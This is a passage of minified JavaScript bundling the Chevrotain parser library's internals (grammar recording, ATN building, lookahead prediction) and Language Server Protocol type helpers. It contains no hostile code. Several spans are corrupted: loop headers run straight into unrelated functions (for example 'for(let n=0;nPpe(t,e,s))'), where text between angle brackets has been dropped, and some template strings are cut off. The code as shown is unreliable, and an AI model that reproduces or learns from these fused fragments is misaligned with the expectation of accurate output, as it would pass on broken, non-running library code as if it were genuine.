n=r>0?r:"";delete e[`CONSUME${n}`],delete e[`SUBRULE${n}`],delete e[`OPTION${n}`],delete e[`OR${n}`],delete e[`MANY${n}`],delete e[`MANY_SEP${n}`],delete e[`AT_LEAST_ONE${n}`],delete e[`AT_LEAST_ONE_SEP${n}`]}delete e.consume,delete e.subrule,delete e.option,delete e.or,delete e.many,delete e.atLeastOne,delete e.ACTION,delete e.BACKTRACK,delete e.LA})}ACTION_RECORD(e){}BACKTRACK_RECORD(e,r){return()=>!0}LA_RECORD(e){return A1}topLevelRuleRecord(e,r){try{let n=new fs({definition:[],name:e});return n.name=e,this.recordingProdStack.push(n),r.call(this),this.recordingProdStack.pop(),n}catch(n){if(n.KNOWN_RECORDER_ERROR!==!0)try{n.message=n.message+` + This error was thrown during the "grammar recording phase" For more info see: + https://chevrotain.io/docs/guide/internals.html#grammar-recording`}catch{throw n}throw n}}optionInternalRecord(e,r){return pb.call(this,dn,e,r)}atLeastOneInternalRecord(e,r){pb.call(this,Bn,r,e)}atLeastOneSepFirstInternalRecord(e,r){pb.call(this,Fn,r,e,xpe)}manyInternalRecord(e,r){pb.call(this,zr,r,e)}manySepFirstInternalRecord(e,r){pb.call(this,_n,r,e,xpe)}orInternalRecord(e,r){return KYe.call(this,e,r)}subruleInternalRecord(e,r,n){if(AS(r),!e||Ft(e,"ruleName")===!1){let l=new Error(` argument is invalid expecting a Parser method reference but got: <${JSON.stringify(e)}> + inside top level rule: <${this.recordingProdStack[0].name}>`);throw l.KNOWN_RECORDER_ERROR=!0,l}let i=ma(this.recordingProdStack),a=e.ruleName,s=new fn({idx:r,nonTerminalName:a,label:n?.LABEL,referencedRule:void 0});return i.definition.push(s),this.outputCst?jYe:_S}consumeInternalRecord(e,r,n){if(AS(r),!KO(e)){let s=new Error(` argument is invalid expecting a TokenType reference but got: <${JSON.stringify(e)}> + inside top level rule: <${this.recordingProdStack[0].name}>`);throw s.KNOWN_RECORDER_ERROR=!0,s}let i=ma(this.recordingProdStack),a=new Ar({idx:r,terminalType:e,label:n?.LABEL});return i.definition.push(a),kpe}};o(pb,"recordProd");o(KYe,"recordOrProd");o(Tpe,"getIdxSuffix");o(AS,"assertMethodIdxIsValid")});var DS,Spe=N(()=>{"use strict";Yt();d1();js();DS=class{static{o(this,"PerformanceTracer")}initPerformanceTracer(e){if(Ft(e,"traceInitPerf")){let r=e.traceInitPerf,n=typeof r=="number";this.traceInitMaxIdent=n?r:1/0,this.traceInitPerf=n?r>0:r}else this.traceInitMaxIdent=0,this.traceInitPerf=ms.traceInitPerf;this.traceInitIndent=-1}TRACE_INIT(e,r){if(this.traceInitPerf===!0){this.traceInitIndent++;let n=new Array(this.traceInitIndent+1).join(" ");this.traceInitIndent <${e}>`);let{time:i,value:a}=Zx(r),s=i>10?console.warn:console.log;return this.traceInitIndent time: ${i}ms`),this.traceInitIndent--,a}else return r()}}});function Cpe(t,e){e.forEach(r=>{let n=r.prototype;Object.getOwnPropertyNames(n).forEach(i=>{if(i==="constructor")return;let a=Object.getOwnPropertyDescriptor(n,i);a&&(a.get||a.set)?Object.defineProperty(t.prototype,i,a):t.prototype[i]=r.prototype[i]})})}var Ape=N(()=>{"use strict";o(Cpe,"applyMixins")});function LS(t=void 0){return function(){return t}}var A1,ms,_1,Gi,mb,gb,js=N(()=>{"use strict";Yt();d1();nde();Up();b1();Jde();cP();ape();dpe();ppe();mpe();gpe();ype();vpe();Epe();Spe();Ape();cb();A1=Qu(yo,"",NaN,NaN,NaN,NaN,NaN,NaN);Object.freeze(A1);ms=Object.freeze({recoveryEnabled:!1,maxLookahead:3,dynamicTokensEnabled:!1,outputCst:!0,errorMessageProvider:Zu,nodeLocationTracking:"none",traceInitPerf:!1,skipValidations:!1}),_1=Object.freeze({recoveryValueFunc:o(()=>{},"recoveryValueFunc"),resyncEnabled:!0});(function(t){t[t.INVALID_RULE_NAME=0]="INVALID_RULE_NAME",t[t.DUPLICATE_RULE_NAME=1]="DUPLICATE_RULE_NAME",t[t.INVALID_RULE_OVERRIDE=2]="INVALID_RULE_OVERRIDE",t[t.DUPLICATE_PRODUCTIONS=3]="DUPLICATE_PRODUCTIONS",t[t.UNRESOLVED_SUBRULE_REF=4]="UNRESOLVED_SUBRULE_REF",t[t.LEFT_RECURSION=5]="LEFT_RECURSION",t[t.NONE_LAST_EMPTY_ALT=6]="NONE_LAST_EMPTY_ALT",t[t.AMBIGUOUS_ALTS=7]="AMBIGUOUS_ALTS",t[t.CONFLICT_TOKENS_RULES_NAMESPACE=8]="CONFLICT_TOKENS_RULES_NAMESPACE",t[t.INVALID_TOKEN_NAME=9]="INVALID_TOKEN_NAME",t[t.NO_NON_EMPTY_LOOKAHEAD=10]="NO_NON_EMPTY_LOOKAHEAD",t[t.AMBIGUOUS_PREFIX_ALTS=11]="AMBIGUOUS_PREFIX_ALTS",t[t.TOO_MANY_ALTS=12]="TOO_MANY_ALTS",t[t.CUSTOM_LOOKAHEAD_VALIDATION=13]="CUSTOM_LOOKAHEAD_VALIDATION"})(Gi||(Gi={}));o(LS,"EMPTY_ALT");mb=class t{static{o(this,"Parser")}static performSelfAnalysis(e){throw Error("The **static** `performSelfAnalysis` method has been deprecated. \nUse the **instance** method with the same name instead.")}performSelfAnalysis(){this.TRACE_INIT("performSelfAnalysis",()=>{let e;this.selfAnalysisDone=!0;let r=this.className;this.TRACE_INIT("toFastProps",()=>{Jx(this)}),this.TRACE_INIT("Grammar Recording",()=>{try{this.enableRecording(),Ae(this.definedRulesNames,i=>{let s=this[i].originalGrammarAction,l;this.TRACE_INIT(`${i} Rule`,()=>{l=this.topLevelRuleRecord(i,s)}),this.gastProductionsCache[i]=l})}finally{this.disableRecording()}});let n=[];if(this.TRACE_INIT("Grammar Resolving",()=>{n=Qde({rules:kr(this.gastProductionsCache)}),this.definitionErrors=this.definitionErrors.concat(n)}),this.TRACE_INIT("Grammar Validations",()=>{if(mr(n)&&this.skipValidations===!1){let i=Zde({rules:kr(this.gastProductionsCache),tokenTypes:kr(this.tokensMap),errMsgProvider:Gl,grammarName:r}),a=Hde({lookaheadStrategy:this.lookaheadStrategy,rules:kr(this.gastProductionsCache),tokenTypes:kr(this.tokensMap),grammarName:r});this.definitionErrors=this.definitionErrors.concat(i,a)}}),mr(this.definitionErrors)&&(this.recoveryEnabled&&this.TRACE_INIT("computeAllProdsFollows",()=>{let i=rde(kr(this.gastProductionsCache));this.resyncFollows=i}),this.TRACE_INIT("ComputeLookaheadFunctions",()=>{var i,a;(a=(i=this.lookaheadStrategy).initialize)===null||a===void 0||a.call(i,{rules:kr(this.gastProductionsCache)}),this.preComputeLookaheadFunctions(kr(this.gastProductionsCache))})),!t.DEFER_DEFINITION_ERRORS_HANDLING&&!mr(this.definitionErrors))throw e=rt(this.definitionErrors,i=>i.message),new Error(`Parser Definition Errors detected: + ${e.join(` +------------------------------- +`)}`)})}constructor(e,r){this.definitionErrors=[],this.selfAnalysisDone=!1;let n=this;if(n.initErrorHandler(r),n.initLexerAdapter(),n.initLooksAhead(r),n.initRecognizerEngine(e,r),n.initRecoverable(r),n.initTreeBuilder(r),n.initContentAssist(),n.initGastRecorder(r),n.initPerformanceTracer(r),Ft(r,"ignoredIssues"))throw new Error(`The IParserConfig property has been deprecated. + Please use the flag on the relevant DSL method instead. + See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#IGNORING_AMBIGUITIES + For further details.`);this.skipValidations=Ft(r,"skipValidations")?r.skipValidations:ms.skipValidations}};mb.DEFER_DEFINITION_ERRORS_HANDLING=!1;Cpe(mb,[fS,gS,bS,TS,kS,wS,ES,SS,CS,DS]);gb=class extends mb{static{o(this,"EmbeddedActionsParser")}constructor(e,r=ms){let n=ln(r);n.outputCst=!1,super(e,n)}}});var _pe=N(()=>{"use strict";ps()});var Dpe=N(()=>{"use strict"});var Lpe=N(()=>{"use strict";_pe();Dpe()});var Rpe=N(()=>{"use strict";FO()});var Ff=N(()=>{"use strict";FO();js();tb();Up();E1();uP();b1();C1();QO();ps();ps();Lpe();Rpe()});function qp(t,e,r){return`${t.name}_${e}_${r}`}function Ope(t){let e={decisionMap:{},decisionStates:[],ruleToStartState:new Map,ruleToStopState:new Map,states:[]};nXe(e,t);let r=t.length;for(let n=0;nPpe(t,e,s));return N1(t,e,n,r,...i)}function cXe(t,e,r){let n=ia(t,e,r,{type:$f});zf(t,n);let i=N1(t,e,n,r,Wp(t,e,r));return uXe(t,e,r,i)}function Wp(t,e,r){let n=Zr(rt(r.definition,i=>Ppe(t,e,i)),i=>i!==void 0);return n.length===1?n[0]:n.length===0?void 0:fXe(t,n)}function Bpe(t,e,r,n,i){let a=n.left,s=n.right,l=ia(t,e,r,{type:rXe});zf(t,l);let u=ia(t,e,r,{type:Ipe});return a.loopback=l,u.loopback=l,t.decisionMap[qp(e,i?"RepetitionMandatoryWithSeparator":"RepetitionMandatory",r.idx)]=l,Di(s,l),i===void 0?(Di(l,a),Di(l,u)):(Di(l,u),Di(l,i.left),Di(i.right,a)),{left:a,right:u}}function Fpe(t,e,r,n,i){let a=n.left,s=n.right,l=ia(t,e,r,{type:tXe});zf(t,l);let u=ia(t,e,r,{type:Ipe}),h=ia(t,e,r,{type:eXe});return l.loopback=h,u.loopback=h,Di(l,a),Di(l,u),Di(s,h),i!==void 0?(Di(h,u),Di(h,i.left),Di(i.right,a)):Di(h,l),t.decisionMap[qp(e,i?"RepetitionWithSeparator":"Repetition",r.idx)]=l,{left:l,right:u}}function uXe(t,e,r,n){let i=n.left,a=n.right;return Di(i,a),t.decisionMap[qp(e,"Option",r.idx)]=i,n}function zf(t,e){return t.decisionStates.push(e),e.decision=t.decisionStates.length-1,e.decision}function N1(t,e,r,n,...i){let a=ia(t,e,n,{type:JYe,start:r});r.end=a;for(let l of i)l!==void 0?(Di(r,l.left),Di(l.right,a)):Di(r,a);let s={left:r,right:a};return t.decisionMap[qp(e,hXe(n),n.idx)]=r,s}function hXe(t){if(t instanceof Dn)return"Alternation";if(t instanceof dn)return"Option";if(t instanceof zr)return"Repetition";if(t instanceof _n)return"RepetitionWithSeparator";if(t instanceof Bn)return"RepetitionMandatory";if(t instanceof Fn)return"RepetitionMandatoryWithSeparator";throw new Error("Invalid production type encountered")}function fXe(t,e){let r=e.length;for(let a=0;a{"use strict";Vm();ER();Ff();o(qp,"buildATNKey");$f=1,ZYe=2,Npe=4,Mpe=5,R1=7,JYe=8,eXe=9,tXe=10,rXe=11,Ipe=12,yb=class{static{o(this,"AbstractTransition")}constructor(e){this.target=e}isEpsilon(){return!1}},D1=class extends yb{static{o(this,"AtomTransition")}constructor(e,r){super(e),this.tokenType=r}},vb=class extends yb{static{o(this,"EpsilonTransition")}constructor(e){super(e)}isEpsilon(){return!0}},L1=class extends yb{static{o(this,"RuleTransition")}constructor(e,r,n){super(e),this.rule=r,this.followState=n}isEpsilon(){return!0}};o(Ope,"createATN");o(nXe,"createRuleStartAndStopATNStates");o(Ppe,"atom");o(iXe,"repetition");o(aXe,"repetitionSep");o(sXe,"repetitionMandatory");o(oXe,"repetitionMandatorySep");o(lXe,"alternation");o(cXe,"option");o(Wp,"block");o(Bpe,"plus");o(Fpe,"star");o(uXe,"optional");o(zf,"defineDecisionState");o(N1,"makeAlts");o(hXe,"getProdType");o(fXe,"makeBlock");o(xP,"tokenRef");o(dXe,"ruleRef");o(pXe,"buildRuleHandle");o(Di,"epsilon");o(ia,"newState");o(bP,"addTransition");o(mXe,"removeState")});function TP(t,e=!0){return`${e?`a${t.alt}`:""}s${t.state.stateNumber}:${t.stack.map(r=>r.stateNumber.toString()).join("_")}`}var xb,M1,zpe=N(()=>{"use strict";Vm();xb={},M1=class{static{o(this,"ATNConfigSet")}constructor(){this.map={},this.configs=[]}get size(){return this.configs.length}finalize(){this.map={}}add(e){let r=TP(e);r in this.map||(this.map[r]=this.configs.length,this.configs.push(e))}get elements(){return this.configs}get alts(){return rt(this.configs,e=>e.alt)}get key(){let e="";for(let r in this.map)e+=r+":";return e}};o(TP,"getATNConfigKey")});function gXe(t,e){let r={};return n=>{let i=n.toString(),a=r[i];return a!==void 0||(a={atnStartState:t,decision:e,states:{}},r[i]=a),a}}function Vpe(t,e=!0){let r=new Set;for(let n of t){let i=new Set;for(let a of n){if(a===void 0){if(e)break;return!1}let s=[a.tokenTypeIdx].concat(a.categoryMatches);for(let l of s)if(r.has(l)){if(!i.has(l))return!1}else r.add(l),i.add(l)}}return!0}function yXe(t){let e=t.decisionStates.length,r=Array(e);for(let n=0;nKu(i)).join(", "),r=t.production.idx===0?"":t.production.idx,n=`Ambiguous Alternatives Detected: <${t.ambiguityIndices.join(", ")}> in <${wXe(t.production)}${r}> inside <${t.topLevelRule.name}> Rule, +<${e}> may appears as a prefix path in all these alternatives. +`;return n=n+`See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#AMBIGUOUS_ALTERNATIVES +For Further details.`,n}function wXe(t){if(t instanceof fn)return"SUBRULE";if(t instanceof dn)return"OPTION";if(t instanceof Dn)return"OR";if(t instanceof Bn)return"AT_LEAST_ONE";if(t instanceof Fn)return"AT_LEAST_ONE_SEP";if(t instanceof _n)return"MANY_SEP";if(t instanceof zr)return"MANY";if(t instanceof Ar)return"CONSUME";throw Error("non exhaustive match")}function kXe(t,e,r){let n=ga(e.configs.elements,a=>a.state.transitions),i=Uae(n.filter(a=>a instanceof D1).map(a=>a.tokenType),a=>a.tokenTypeIdx);return{actualToken:r,possibleTokenTypes:i,tokenPath:t}}function EXe(t,e){return t.edges[e.tokenTypeIdx]}function SXe(t,e,r){let n=new M1,i=[];for(let s of t.elements){if(r.is(s.alt)===!1)continue;if(s.state.type===R1){i.push(s);continue}let l=s.state.transitions.length;for(let u=0;u0&&!LXe(a))for(let s of i)a.add(s);return a}function CXe(t,e){if(t instanceof D1&&nb(e,t.tokenType))return t.target}function AXe(t,e){let r;for(let n of t.elements)if(e.is(n.alt)===!0){if(r===void 0)r=n.alt;else if(r!==n.alt)return}return r}function Hpe(t){return{configs:t,edges:{},isAcceptState:!1,prediction:-1}}function Upe(t,e,r,n){return n=qpe(t,n),e.edges[r.tokenTypeIdx]=n,n}function qpe(t,e){if(e===xb)return e;let r=e.configs.key,n=t.states[r];return n!==void 0?n:(e.configs.finalize(),t.states[r]=e,e)}function _Xe(t){let e=new M1,r=t.transitions.length;for(let n=0;n0){let i=[...t.stack],s={state:i.pop(),alt:t.alt,stack:i};NS(s,e)}else e.add(t);return}r.epsilonOnlyTransitions||e.add(t);let n=r.transitions.length;for(let i=0;i1)return!0;return!1}function OXe(t){for(let e of Array.from(t.values()))if(Object.keys(e).length===1)return!0;return!1}var RS,Gpe,bb,Wpe=N(()=>{"use strict";Ff();$pe();zpe();NR();CR();Hae();Vm();Lw();ak();uk();PR();o(gXe,"createDFACache");RS=class{static{o(this,"PredicateSet")}constructor(){this.predicates=[]}is(e){return e>=this.predicates.length||this.predicates[e]}set(e,r){this.predicates[e]=r}toString(){let e="",r=this.predicates.length;for(let n=0;nconsole.log(n))}initialize(e){this.atn=Ope(e.rules),this.dfas=yXe(this.atn)}validateAmbiguousAlternationAlternatives(){return[]}validateEmptyOrAlternatives(){return[]}buildLookaheadForAlternation(e){let{prodOccurrence:r,rule:n,hasPredicates:i,dynamicTokensEnabled:a}=e,s=this.dfas,l=this.logging,u=qp(n,"Alternation",r),f=this.atn.decisionMap[u].decision,d=rt(cS({maxLookahead:1,occurrence:r,prodType:"Alternation",rule:n}),p=>rt(p,m=>m[0]));if(Vpe(d,!1)&&!a){let p=Jr(d,(m,g,y)=>(Ae(g,v=>{v&&(m[v.tokenTypeIdx]=y,Ae(v.categoryMatches,x=>{m[x]=y}))}),m),{});return i?function(m){var g;let y=this.LA(1),v=p[y.tokenTypeIdx];if(m!==void 0&&v!==void 0){let x=(g=m[v])===null||g===void 0?void 0:g.GATE;if(x!==void 0&&x.call(this)===!1)return}return v}:function(){let m=this.LA(1);return p[m.tokenTypeIdx]}}else return i?function(p){let m=new RS,g=p===void 0?0:p.length;for(let v=0;vrt(p,m=>m[0]));if(Vpe(d)&&d[0][0]&&!a){let p=d[0],m=Qr(p);if(m.length===1&&mr(m[0].categoryMatches)){let y=m[0].tokenTypeIdx;return function(){return this.LA(1).tokenTypeIdx===y}}else{let g=Jr(m,(y,v)=>(v!==void 0&&(y[v.tokenTypeIdx]=!0,Ae(v.categoryMatches,x=>{y[x]=!0})),y),{});return function(){let y=this.LA(1);return g[y.tokenTypeIdx]===!0}}}return function(){let p=wP.call(this,s,f,Gpe,l);return typeof p=="object"?!1:p===0}}};o(Vpe,"isLL1Sequence");o(yXe,"initATNSimulator");o(wP,"adaptivePredict");o(vXe,"performLookahead");o(xXe,"computeLookaheadTarget");o(bXe,"reportLookaheadAmbiguity");o(TXe,"buildAmbiguityError");o(wXe,"getProductionDslName");o(kXe,"buildAdaptivePredictError");o(EXe,"getExistingTargetState");o(SXe,"computeReachSet");o(CXe,"getReachableTarget");o(AXe,"getUniqueAlt");o(Hpe,"newDFAState");o(Upe,"addDFAEdge");o(qpe,"addDFAState");o(_Xe,"computeStartState");o(NS,"closure");o(DXe,"getEpsilonTarget");o(LXe,"hasConfigInRuleStopState");o(RXe,"allConfigsInRuleStopStates");o(NXe,"hasConflictTerminatingPrediction");o(MXe,"getConflictingAltSets");o(IXe,"hasConflictingAltSet");o(OXe,"hasStateAssociatedWithOneAlt")});var Ype=N(()=>{"use strict";Wpe()});var Xpe,kP,jpe,MS,tn,Gr,IS,Kpe,EP,Qpe,Zpe,Jpe,e0e,SP,t0e,r0e,n0e,OS,I1,O1,CP,P1,i0e,AP,_P,DP,LP,RP,a0e,s0e,NP,o0e,MP,Tb,l0e,c0e,u0e,h0e,f0e,d0e,p0e,m0e,PS,g0e,y0e,v0e,x0e,b0e,T0e,w0e,k0e,E0e,S0e,C0e,BS,A0e,_0e,D0e,L0e,R0e,N0e,M0e,I0e,O0e,P0e,B0e,F0e,$0e,IP,OP,z0e,G0e,V0e,U0e,H0e,q0e,W0e,Y0e,X0e,PP,Ge,BP=N(()=>{"use strict";(function(t){function e(r){return typeof r=="string"}o(e,"is"),t.is=e})(Xpe||(Xpe={}));(function(t){function e(r){return typeof r=="string"}o(e,"is"),t.is=e})(kP||(kP={}));(function(t){t.MIN_VALUE=-2147483648,t.MAX_VALUE=2147483647;function e(r){return typeof r=="number"&&t.MIN_VALUE<=r&&r<=t.MAX_VALUE}o(e,"is"),t.is=e})(jpe||(jpe={}));(function(t){t.MIN_VALUE=0,t.MAX_VALUE=2147483647;function e(r){return typeof r=="number"&&t.MIN_VALUE<=r&&r<=t.MAX_VALUE}o(e,"is"),t.is=e})(MS||(MS={}));(function(t){function e(n,i){return n===Number.MAX_VALUE&&(n=MS.MAX_VALUE),i===Number.MAX_VALUE&&(i=MS.MAX_VALUE),{line:n,character:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.uinteger(i.line)&&Ge.uinteger(i.character)}o(r,"is"),t.is=r})(tn||(tn={}));(function(t){function e(n,i,a,s){if(Ge.uinteger(n)&&Ge.uinteger(i)&&Ge.uinteger(a)&&Ge.uinteger(s))return{start:tn.create(n,i),end:tn.create(a,s)};if(tn.is(n)&&tn.is(i))return{start:n,end:i};throw new Error(`Range#create called with invalid arguments[${n}, ${i}, ${a}, ${s}]`)}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&tn.is(i.start)&&tn.is(i.end)}o(r,"is"),t.is=r})(Gr||(Gr={}));(function(t){function e(n,i){return{uri:n,range:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.range)&&(Ge.string(i.uri)||Ge.undefined(i.uri))}o(r,"is"),t.is=r})(IS||(IS={}));(function(t){function e(n,i,a,s){return{targetUri:n,targetRange:i,targetSelectionRange:a,originSelectionRange:s}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.targetRange)&&Ge.string(i.targetUri)&&Gr.is(i.targetSelectionRange)&&(Gr.is(i.originSelectionRange)||Ge.undefined(i.originSelectionRange))}o(r,"is"),t.is=r})(Kpe||(Kpe={}));(function(t){function e(n,i,a,s){return{red:n,green:i,blue:a,alpha:s}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.numberRange(i.red,0,1)&&Ge.numberRange(i.green,0,1)&&Ge.numberRange(i.blue,0,1)&&Ge.numberRange(i.alpha,0,1)}o(r,"is"),t.is=r})(EP||(EP={}));(function(t){function e(n,i){return{range:n,color:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.range)&&EP.is(i.color)}o(r,"is"),t.is=r})(Qpe||(Qpe={}));(function(t){function e(n,i,a){return{label:n,textEdit:i,additionalTextEdits:a}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.string(i.label)&&(Ge.undefined(i.textEdit)||O1.is(i))&&(Ge.undefined(i.additionalTextEdits)||Ge.typedArray(i.additionalTextEdits,O1.is))}o(r,"is"),t.is=r})(Zpe||(Zpe={}));(function(t){t.Comment="comment",t.Imports="imports",t.Region="region"})(Jpe||(Jpe={}));(function(t){function e(n,i,a,s,l,u){let h={startLine:n,endLine:i};return Ge.defined(a)&&(h.startCharacter=a),Ge.defined(s)&&(h.endCharacter=s),Ge.defined(l)&&(h.kind=l),Ge.defined(u)&&(h.collapsedText=u),h}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.uinteger(i.startLine)&&Ge.uinteger(i.startLine)&&(Ge.undefined(i.startCharacter)||Ge.uinteger(i.startCharacter))&&(Ge.undefined(i.endCharacter)||Ge.uinteger(i.endCharacter))&&(Ge.undefined(i.kind)||Ge.string(i.kind))}o(r,"is"),t.is=r})(e0e||(e0e={}));(function(t){function e(n,i){return{location:n,message:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&IS.is(i.location)&&Ge.string(i.message)}o(r,"is"),t.is=r})(SP||(SP={}));(function(t){t.Error=1,t.Warning=2,t.Information=3,t.Hint=4})(t0e||(t0e={}));(function(t){t.Unnecessary=1,t.Deprecated=2})(r0e||(r0e={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(n)&&Ge.string(n.href)}o(e,"is"),t.is=e})(n0e||(n0e={}));(function(t){function e(n,i,a,s,l,u){let h={range:n,message:i};return Ge.defined(a)&&(h.severity=a),Ge.defined(s)&&(h.code=s),Ge.defined(l)&&(h.source=l),Ge.defined(u)&&(h.relatedInformation=u),h}o(e,"create"),t.create=e;function r(n){var i;let a=n;return Ge.defined(a)&&Gr.is(a.range)&&Ge.string(a.message)&&(Ge.number(a.severity)||Ge.undefined(a.severity))&&(Ge.integer(a.code)||Ge.string(a.code)||Ge.undefined(a.code))&&(Ge.undefined(a.codeDescription)||Ge.string((i=a.codeDescription)===null||i===void 0?void 0:i.href))&&(Ge.string(a.source)||Ge.undefined(a.source))&&(Ge.undefined(a.relatedInformation)||Ge.typedArray(a.relatedInformation,SP.is))}o(r,"is"),t.is=r})(OS||(OS={}));(function(t){function e(n,i,...a){let s={title:n,command:i};return Ge.defined(a)&&a.length>0&&(s.arguments=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.title)&&Ge.string(i.command)}o(r,"is"),t.is=r})(I1||(I1={}));(function(t){function e(a,s){return{range:a,newText:s}}o(e,"replace"),t.replace=e;function r(a,s){return{range:{start:a,end:a},newText:s}}o(r,"insert"),t.insert=r;function n(a){return{range:a,newText:""}}o(n,"del"),t.del=n;function i(a){let s=a;return Ge.objectLiteral(s)&&Ge.string(s.newText)&&Gr.is(s.range)}o(i,"is"),t.is=i})(O1||(O1={}));(function(t){function e(n,i,a){let s={label:n};return i!==void 0&&(s.needsConfirmation=i),a!==void 0&&(s.description=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.string(i.label)&&(Ge.boolean(i.needsConfirmation)||i.needsConfirmation===void 0)&&(Ge.string(i.description)||i.description===void 0)}o(r,"is"),t.is=r})(CP||(CP={}));(function(t){function e(r){let n=r;return Ge.string(n)}o(e,"is"),t.is=e})(P1||(P1={}));(function(t){function e(a,s,l){return{range:a,newText:s,annotationId:l}}o(e,"replace"),t.replace=e;function r(a,s,l){return{range:{start:a,end:a},newText:s,annotationId:l}}o(r,"insert"),t.insert=r;function n(a,s){return{range:a,newText:"",annotationId:s}}o(n,"del"),t.del=n;function i(a){let s=a;return O1.is(s)&&(CP.is(s.annotationId)||P1.is(s.annotationId))}o(i,"is"),t.is=i})(i0e||(i0e={}));(function(t){function e(n,i){return{textDocument:n,edits:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&NP.is(i.textDocument)&&Array.isArray(i.edits)}o(r,"is"),t.is=r})(AP||(AP={}));(function(t){function e(n,i,a){let s={kind:"create",uri:n};return i!==void 0&&(i.overwrite!==void 0||i.ignoreIfExists!==void 0)&&(s.options=i),a!==void 0&&(s.annotationId=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return i&&i.kind==="create"&&Ge.string(i.uri)&&(i.options===void 0||(i.options.overwrite===void 0||Ge.boolean(i.options.overwrite))&&(i.options.ignoreIfExists===void 0||Ge.boolean(i.options.ignoreIfExists)))&&(i.annotationId===void 0||P1.is(i.annotationId))}o(r,"is"),t.is=r})(_P||(_P={}));(function(t){function e(n,i,a,s){let l={kind:"rename",oldUri:n,newUri:i};return a!==void 0&&(a.overwrite!==void 0||a.ignoreIfExists!==void 0)&&(l.options=a),s!==void 0&&(l.annotationId=s),l}o(e,"create"),t.create=e;function r(n){let i=n;return i&&i.kind==="rename"&&Ge.string(i.oldUri)&&Ge.string(i.newUri)&&(i.options===void 0||(i.options.overwrite===void 0||Ge.boolean(i.options.overwrite))&&(i.options.ignoreIfExists===void 0||Ge.boolean(i.options.ignoreIfExists)))&&(i.annotationId===void 0||P1.is(i.annotationId))}o(r,"is"),t.is=r})(DP||(DP={}));(function(t){function e(n,i,a){let s={kind:"delete",uri:n};return i!==void 0&&(i.recursive!==void 0||i.ignoreIfNotExists!==void 0)&&(s.options=i),a!==void 0&&(s.annotationId=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return i&&i.kind==="delete"&&Ge.string(i.uri)&&(i.options===void 0||(i.options.recursive===void 0||Ge.boolean(i.options.recursive))&&(i.options.ignoreIfNotExists===void 0||Ge.boolean(i.options.ignoreIfNotExists)))&&(i.annotationId===void 0||P1.is(i.annotationId))}o(r,"is"),t.is=r})(LP||(LP={}));(function(t){function e(r){let n=r;return n&&(n.changes!==void 0||n.documentChanges!==void 0)&&(n.documentChanges===void 0||n.documentChanges.every(i=>Ge.string(i.kind)?_P.is(i)||DP.is(i)||LP.is(i):AP.is(i)))}o(e,"is"),t.is=e})(RP||(RP={}));(function(t){function e(n){return{uri:n}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)}o(r,"is"),t.is=r})(a0e||(a0e={}));(function(t){function e(n,i){return{uri:n,version:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)&&Ge.integer(i.version)}o(r,"is"),t.is=r})(s0e||(s0e={}));(function(t){function e(n,i){return{uri:n,version:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)&&(i.version===null||Ge.integer(i.version))}o(r,"is"),t.is=r})(NP||(NP={}));(function(t){function e(n,i,a,s){return{uri:n,languageId:i,version:a,text:s}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)&&Ge.string(i.languageId)&&Ge.integer(i.version)&&Ge.string(i.text)}o(r,"is"),t.is=r})(o0e||(o0e={}));(function(t){t.PlainText="plaintext",t.Markdown="markdown";function e(r){let n=r;return n===t.PlainText||n===t.Markdown}o(e,"is"),t.is=e})(MP||(MP={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(r)&&MP.is(n.kind)&&Ge.string(n.value)}o(e,"is"),t.is=e})(Tb||(Tb={}));(function(t){t.Text=1,t.Method=2,t.Function=3,t.Constructor=4,t.Field=5,t.Variable=6,t.Class=7,t.Interface=8,t.Module=9,t.Property=10,t.Unit=11,t.Value=12,t.Enum=13,t.Keyword=14,t.Snippet=15,t.Color=16,t.File=17,t.Reference=18,t.Folder=19,t.EnumMember=20,t.Constant=21,t.Struct=22,t.Event=23,t.Operator=24,t.TypeParameter=25})(l0e||(l0e={}));(function(t){t.PlainText=1,t.Snippet=2})(c0e||(c0e={}));(function(t){t.Deprecated=1})(u0e||(u0e={}));(function(t){function e(n,i,a){return{newText:n,insert:i,replace:a}}o(e,"create"),t.create=e;function r(n){let i=n;return i&&Ge.string(i.newText)&&Gr.is(i.insert)&&Gr.is(i.replace)}o(r,"is"),t.is=r})(h0e||(h0e={}));(function(t){t.asIs=1,t.adjustIndentation=2})(f0e||(f0e={}));(function(t){function e(r){let n=r;return n&&(Ge.string(n.detail)||n.detail===void 0)&&(Ge.string(n.description)||n.description===void 0)}o(e,"is"),t.is=e})(d0e||(d0e={}));(function(t){function e(r){return{label:r}}o(e,"create"),t.create=e})(p0e||(p0e={}));(function(t){function e(r,n){return{items:r||[],isIncomplete:!!n}}o(e,"create"),t.create=e})(m0e||(m0e={}));(function(t){function e(n){return n.replace(/[\\`*_{}[\]()#+\-.!]/g,"\\$&")}o(e,"fromPlainText"),t.fromPlainText=e;function r(n){let i=n;return 